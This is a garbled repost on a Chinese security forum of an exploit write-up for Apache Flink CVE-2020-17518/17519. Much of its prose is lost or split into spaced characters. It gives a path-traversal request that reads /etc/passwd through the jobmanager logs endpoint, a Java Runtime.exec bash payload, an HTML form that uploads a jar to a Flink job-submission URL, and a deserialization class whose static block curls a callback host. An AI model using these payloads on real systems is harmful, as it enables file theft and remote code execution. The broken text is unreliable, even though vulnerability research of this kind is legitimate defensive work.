[1167] 2021-01-20_ApacheFlinkCVE-2020-1751817519读写反序列化

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-16
2021-01-20_ApacheFlinkCVE-2020-1751817519读写反序列化 A p a c h e   F l i n k   C V E - 2 0 2 0 - 1 7 5 1 8 / 1 7 5 1 9     Y 4 e r   C h a B u g   2 0 2 1 - 0 1 - 2 0 U R L C V E - 2 0 2 0 - 1 7 5 1 9   u r l R o u t e r H a n d l e r Q u e r y S t r i n g D e c o d e r u r l o r g . a p a c h e . f l i n k . r u n t i m e . r e s t . h a n d l e r . r o u t e r . R o u t e r H a n d l e r # c h a n n e l R e a d 0 q s d . p a t h ( )
d e c o d e C o m p o n e n t ( ) r e q u e s t m e t h o d p a t h t h i s . r o u t e r h t t p   m e t h o d G E T % / j o b m a n a g e r / l o g s / . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f e t c % 2 f p a s s w d t h i s . r o u t e r . r o u t e ( )
r o u t e r G E T d e c o d e P a t h T o k e n s ( ) u r l t h i s . r o u t e r . r o u t e ( ) /
t o k e n s G E T   m e t h o d ( ) p a t t e r n p a y l o a d f i l e n a m e r e s p f i l e n a m e t o k e n r o u t e r . r o u t e ( p a t h ,   p a t h ,   q u e r y P a r a m e t e r s ,   t o k e n s ) p a t t e r n . m a t c h ( p a t h T o k e n s ,   p a t h P a r a m s ) j o b m a n a g e r / l o g s / : f i l e n a m e : f i l e n a m e / j o b m a n a g e r / l o g s / . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f e t c % 2 f p a s s w d . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f e t c % 2 f p a s s w d J o b M a n a g e r C u s t o m L o g H a n d l e r
u r l 穿 g e t N a m e ( ) h t t p s : / / g i t h u b . c o m / a p a c h e / f l i n k / b l o b / m a s t e r / f l i n k - r u n t i m e / s r c / m a i n / j a v a / o r g / a p a c h e / f l i n k / r u n t i m e / r e s t / h a n d l e r / c l u s t e r / J o b M a n a g e r C u s t o m L o g H a n d l e r . j a v a C V E - 2 0 2 0 - 1 7 5 1 8   u r l H a n d l e r . . /
f i l e U p l o a d f i l e n a m e o r g . a p a c h e . f l i n k . r u n t i m e . r e s t . F i l e U p l o a d H a n d l e r # c h a n n e l R e a d 0
R C E r c e 西 j a r j a r r u n t i m e . e x e c p a c k a g e   c o m . t e s t ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; p u b l i c   c l a s s   M a i n   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   I O E x c e p t i o n   {         / /   w r i t e   y o u r   c o d e   h e r e                 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( n e w   S t r i n g [ ] { " b a s h " , " - c " , " t o u c h   / t m p / g g g " } ) ;         } }
R C E R C E p o s t 访 [ 1 ] r e q u e s t j s o n o r g . a p a c h e . f l i n k . r u n t i m e . r e s t . h a n d l e r . j o b . J o b S u b m i t H a n d l e r # l o a d J o b G r a p h / v 1 / j o b s < f o r m   n a m e = " f o r m "   a c t i o n = " h t t p : / / 1 7 2 . 1 6 . 1 . 1 3 7 : 8 0 8 1 / v 1 / j o b s "     m e t h o d = " p o s t "   e n c t y p e   = " m u l t i p a r t / f o r m - d a t a " >         < i n p u t   t y p e = " f i l e "   n a m e = " f i l e _ 0 " >         < i n p u t   t y p e = " t e x t "   n a m e = " r e q u e s t "   v a l u e = " " >         < i n p u t   t y p e = " s u b m i t "   v a l u e = " " > < / f o r m > {     " j o b G r a p h F i l e N a m e " :   " a . s e r " }
T y p e S e r i a l i z e r C l a s s . f o r n a m e t r u e c l a s s c l a s s p a t h s t a t i c r c e c l a s s p a t h o r g . a p a c h e . f l i n k . a p i . c o m m o n . s t a t e . S t a t e D e s c r i p t o r # r e a d O b j e c t o r g . a p a c h e . f l i n k . a p i . j a v a . t y p e u t i l s . r u n t i m e . P o j o S e r i a l i z e r # d e s e r i a l i z e ( o r g . a p a c h e . f l i n k . c o r e . m e m o r y . D a t a I n p u t V i e w )
E x e c . c l a s s b i n l i b p o c h a s D e f a u l t V a l u e V a l u e S t a t e D e s c r i p t o r p o c i m p o r t   j a v a . i o . I O E x c e p t i o n ; p u b l i c   c l a s s   E x e c   {         s t a t i c   {                 t r y   {                         l o n g   l   =   S y s t e m . c u r r e n t T i m e M i l l i s ( ) ;                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( n e w   S t r i n g [ ] { " b a s h " ,   " - c " ,   " c u r l   h t t p : / / 1 7 2 . 1 6 . 1 . 1 / ? i d = "   +   l } ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } } o r g . a p a c h e . f l i n k . a p i . c o m m o n . s t a t e . S t a t e D e s c r i p t o r # r e a d O b j e c t p a c k a g e   c o m . t e s t ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则